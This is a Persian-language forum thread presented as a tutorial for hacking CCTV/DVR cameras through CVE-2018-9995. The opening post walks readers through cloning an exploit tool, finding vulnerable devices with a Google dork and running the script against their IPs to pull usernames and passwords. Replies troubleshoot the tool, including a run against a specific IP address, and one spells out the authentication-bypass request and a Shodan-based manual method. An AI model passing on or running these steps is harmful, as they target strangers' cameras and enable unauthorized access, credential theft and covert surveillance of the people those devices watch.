اموزش هک دوربین های مداربسته با آسیب پذیری < CVE-2018-9995>

[mrxbotdark]

با یک ابزار کالی به سادگی دوربین هایه مدار بسته رو هک کنید!


ابتدا ابزار رو از ادرس زیر کلون کنید

https://github.com/ezelf/CVE-2018-9995_dvr_credentials.git

سپس با دورک زیر در گوگل دوربین هایه DVR که این اسب پذیریرو دارن بیارین
'intitle:'dvr login
بعد با دستور زیر اجرا کنید ابزارو
python getDVR_Credentials.py
وبعد از سوییچ ها ها برای ست کردنه ای پی دوربین ها استفاده کنید یعنی شما با دورک دستگاه هایی که پیدا میکنید ادرسشون میشه ایپیشون مثال
python getDVR_Credentials.py --host ip
به جای ip ادرس دسگاهارو بزارید و بعد اینتر کنید و بعد از چند ثانیه رمز و یوزرو میگیرد
امیدوارم خوشتون اومده باشه

[SH0CK]

[Xpsaeed]

وقتی تو ترمینال روت کالی میزنم این اررور میده

Traceback (most recent call last):
File "getDVR_Credentials.py", line 6, in <module>
import tableprint as tp
ImportError: No module named tableprint

[Sharon V]

وقتی تو ترمینال روت کالی میزنم این اررور میده

Traceback (most recent call last):
File "getDVR_Credentials.py", line 6, in <module>
import tableprint as tp
ImportError: No module named tableprint

ماژول مورد نیاز رو نصب کنید
pip install tableprint

[Xpsaeed]

ماژول مورد نیاز رو نصب کنید
pip install tableprint

بعد از زدن این دستور این پیام میده البته من بعد دیدن این خطا رفتم به ترمینال روت و اپ دیت کردم بعدشم یه بار ریست کردم کالی رو ولی حل نشد

pip install tableprint 1 ⨯
Requirement already satisfied: tableprint in /usr/local/lib/python3.9/dist-packages (0.9.1)
Requirement already satisfied: wcwidth in /usr/lib/python3/dist-packages (from tableprint) (0.1.9)
Requirement already satisfied: future in /usr/lib/python3/dist-packages (from tableprint) (0.18.2)
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv



=================================

python getDVR_Credentials.py --host 88.248.249.13

Traceback (most recent call last):
File "getDVR_Credentials.py", line 6, in <module>
import tableprint as tp
ImportError: No module named tableprint

[SH0CK]

بعد از زدن این دستور این پیام میده البته من بعد دیدن این خطا رفتم به ترمینال روت و اپ دیت کردم بعدشم یه بار ریست کردم کالی رو ولی حل نشد

pip install tableprint 1 ⨯
Requirement already satisfied: tableprint in /usr/local/lib/python3.9/dist-packages (0.9.1)
Requirement already satisfied: wcwidth in /usr/lib/python3/dist-packages (from tableprint) (0.1.9)
Requirement already satisfied: future in /usr/lib/python3/dist-packages (from tableprint) (0.18.2)
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv



=================================

python getDVR_Credentials.py --host 88.248.249.13

Traceback (most recent call last):
File "getDVR_Credentials.py", line 6, in <module>
import tableprint as tp
ImportError: No module named tableprint

به تاریخ پست دقت کنید این پست 2 سال پیش هست و خود این پروژه روی گیت هاب 4 ساله که آپدیت نشده ، این اسکریپت چیز خاصی نیست فقط یک اکسپلویت هست که URL هایی با پترن زیر را اسکن میکنه


"http://<dvr_host>:<port>/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"

در مورد مشکلی که دارید اکثر افراد هم پایتون نسخه 2 هم نسخه 3 را با هم نصب دارند که تداخل ایجاد میکنه

برای پایتون 3 باید

pip3 install -r requirements.txt


اگر اسکریپت با پایتون 2 نوشته شده باشه با python اجرا میشه اگر با 3 باشه python3 باید تایپ کنید

درضمن در گیت هاب این پروژه روش دستی با استفاده از سایت شودان هم توضیح داده شده اگر تمایلی به استفاده از این اسکریپت ندارید :

https://github.com/ezelf/CVE-2018-9995_dvr_credentials